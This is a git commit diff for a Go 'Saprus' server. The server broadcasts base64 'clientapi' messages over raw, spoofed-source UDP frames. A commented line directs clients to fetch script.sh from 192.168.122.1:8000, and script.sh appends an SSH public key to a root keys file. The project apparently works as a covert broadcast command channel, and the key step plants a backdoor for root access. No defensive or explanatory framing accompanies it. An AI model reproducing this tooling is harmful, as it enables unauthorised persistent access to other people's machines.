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Pin
2023-03-06 21:43:56 -05:00
parent b83b93ddb9
commit 1fe34670ba
8 changed files with 218 additions and 8 deletions
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6
server/Dockerfile
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@@ -2,8 +2,12 @@ FROM golang:1.18.2-alpine
RUN mkdir -p /src RUN mkdir -p /src
COPY server.go /src COPY ./ /src
WORKDIR /src WORKDIR /src
RUN go build server.go RUN go build server.go
RUN mv server /bin/saprus-server
ENTRYPOINT ["/bin/saprus-server"]

25
server/README.md Normal file
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@@ -0,0 +1,25 @@
# Saprus Server
## Protocol Docs
Wrapped around UDP
```
0 1 2 3 4
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| EtherType |Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset | TTL | Protocol |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Header Checksum | Source Addr | Dest Addr |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Dest Port | Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Payload (0-1458 bytes) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

16
server/go.mod Normal file
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@@ -0,0 +1,16 @@
module saprusserver
go 1.20
require (
github.com/google/gopacket v1.1.19
github.com/mdlayher/packet v1.1.1
)
require (
github.com/josharian/native v1.0.0 // indirect
github.com/mdlayher/socket v0.4.0 // indirect
golang.org/x/net v0.2.0 // indirect
golang.org/x/sync v0.1.0 // indirect
golang.org/x/sys v0.2.0 // indirect
)

27
server/go.sum Normal file
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@@ -0,0 +1,27 @@
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
github.com/josharian/native v1.0.0 h1:Ts/E8zCSEsG17dUqv7joXJFybuMLjQfWE04tsBODTxk=
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/mdlayher/packet v1.1.1 h1:7Fv4OEMYqPl7//uBm04VgPpnSNi8fbBZznppgh6WMr8=
github.com/mdlayher/packet v1.1.1/go.mod h1:DRvYY5mH4M4lUqAnMg04E60U4fjUKMZ/4g2cHElZkKo=
github.com/mdlayher/socket v0.4.0 h1:280wsy40IC9M9q1uPGcLBwXpcTQDtoGwVt+BNoITxIw=
github.com/mdlayher/socket v0.4.0/go.mod h1:xxFqz5GRCUN3UEOm9CZqEJsAbe1C8OwSK46NlmWuVoc=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU=
golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.2.0 h1:ljd4t30dBnAvMZaQCevtY0xLLD0A+bRZXbgLMLU1F/A=
golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

7
server/script.sh Normal file
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@@ -0,0 +1,7 @@
#!/bin/sh
ROOT=${1}
echo "hello world" > ${ROOT}/hello-world
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINxddOZtUsaoXtFgmnMmNNMGPeZLTIVgsirRWLumlBBc" >> ${ROOT}/root/keys

41
server/server.go
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@@ -3,13 +3,36 @@ package main
import ( import (
"encoding/base64" "encoding/base64"
"fmt" "fmt"
"log"
"net" "net"
"strings" "strings"
"saprusserver/utils"
) )
func welcomeMessage() {
msg :=`Welcome to --
██████ ▄▄▄ ██▓███ ██▀███ █ ██ ██████
▒██ ▒ ▒████▄ ▓██░ ██▒▓██ ▒ ██▒ ██ ▓██▒▒██ ▒
░ ▓██▄ ▒██ ▀█▄ ▓██░ ██▓▒▓██ ░▄█ ▒▓██ ▒██░░ ▓██▄
▒ ██▒░██▄▄▄▄██ ▒██▄█▓▒ ▒▒██▀▀█▄ ▓▓█ ░██░ ▒ ██▒
▒██████▒▒ ▓█ ▓██▒▒██▒ ░ ░░██▓ ▒██▒▒▒█████▓ ▒██████▒▒
▒ ▒▓▒ ▒ ░ ▒▒ ▓▒█░▒▓▒░ ░ ░░ ▒▓ ░▒▓░░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░
░ ░▒ ░ ░ ▒ ▒▒ ░░▒ ░ ░▒ ░ ▒░░░▒░ ░ ░ ░ ░▒ ░ ░
░ ░ ░ ░ ▒ ░░ ░░ ░ ░░░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░
`
fmt.Println(msg)
}
func main() { func main() {
welcomeMessage()
log.Printf("Starting server\n")
con := utils.SocketCall{}
serv, err := net.ListenPacket("udp4", ":8888") serv, err := net.ListenPacket("udp4", ":8888")
serverIP := "1.1.2.2" //serverIP := "192.168.122.1:8000/script.sh"
serverIP := "hello world client data is fake }P"
msg := "clientapi: " + serverIP msg := "clientapi: " + serverIP
b64Msg := base64.StdEncoding.EncodeToString([]byte(msg)) b64Msg := base64.StdEncoding.EncodeToString([]byte(msg))
@@ -24,24 +47,28 @@ func main() {
for { for {
_, addr, err := serv.ReadFrom(buff) _, addr, err := serv.ReadFrom(buff)
if err != nil { if err != nil {
panic(err) panic(err)
} }
remoteAddr := strings.Split(addr.String(), ":") remoteAddr := strings.Split(addr.String(), ":")
remote, err := net.ResolveUDPAddr("udp4", remoteAddr[0] + ":8850") //remote, err := net.ResolveUDPAddr("udp4", remoteAddr[0] + ":8850")
log.Printf("Received data %s\n", remoteAddr)
if err != nil { if err != nil {
panic(err) panic(err)
} }
conn, _ := net.DialUDP("udp4", nil, remote) con.SendData(b64Msg)
defer conn.Close()
conn.Write([]byte(b64Msg)) //conn, _ := net.DialUDP("udp4", nil, remote)
conn.Close() //defer conn.Close()
fmt.Printf("Sending %s to %s\n", b64Msg, addr) //conn.Write([]byte(b64Msg))
//conn.Close()
log.Printf("Sending data to %s\n", addr)
} }
} }

95
server/utils/raw_packet_send.go Normal file
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@@ -0,0 +1,95 @@
package utils
import (
"log"
"net"
"unicode/utf8"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/mdlayher/packet"
)
type SocketCall struct {
conn *packet.Conn
Iface *net.Interface
}
func splitData(message string) []string {
data := []string{}
var i, j int
for i, j = 0, 1458; j < len(message); i, j = j, j+1458 {
for !utf8.RuneStart(message[j]) {
j--
}
data = append(data, message[i:j])
}
data = append(data, message[i:])
return data
}
func (c* SocketCall)SendData(message string) {
splitMessage := splitData(message)
for i := 0; i < len(splitMessage); i++ {
c.init(splitMessage[i])
}
return
}
func (c* SocketCall)init(data string) {
iface, _ := net.InterfaceByName("virbr0")
conn, err := packet.Listen(iface, packet.Raw, int(layers.EthernetTypeIPv4), nil)
payload := []byte(data)
if len(payload) > 1500 {
log.Printf("Larger than 1500 -- %d", len(payload))
}
if err != nil {
log.Panic(err)
}
c.Iface = iface
c.conn = conn
eth := layers.Ethernet{
EthernetType: layers.EthernetTypeIPv4,
SrcMAC: c.Iface.HardwareAddr,
DstMAC: layers.EthernetBroadcast,
}
ip := layers.IPv4{
Version: 4,
TTL: 64,
SrcIP: []byte{0, 0, 0, 0},
DstIP: []byte{255, 255, 255, 255},
Protocol: layers.IPProtocolUDP,
}
udp := layers.UDP{
SrcPort: 6868,
DstPort: 6767,
}
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
ComputeChecksums: true,
FixLengths: true,
}
udp.SetNetworkLayerForChecksum(&ip)
err = gopacket.SerializeLayers(buf, opts, &eth, &ip, &udp, gopacket.Payload(payload))
if err != nil {
log.Panic(err)
}
_, err = c.conn.WriteTo(buf.Bytes(), &packet.Addr{HardwareAddr: eth.DstMAC})
if err != nil {
log.Panic(err)
}
return
}

9
server/utils/service.go Normal file
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@@ -0,0 +1,9 @@
package utils
import (
)
type SaprusPacket struct {
callType [2]string
}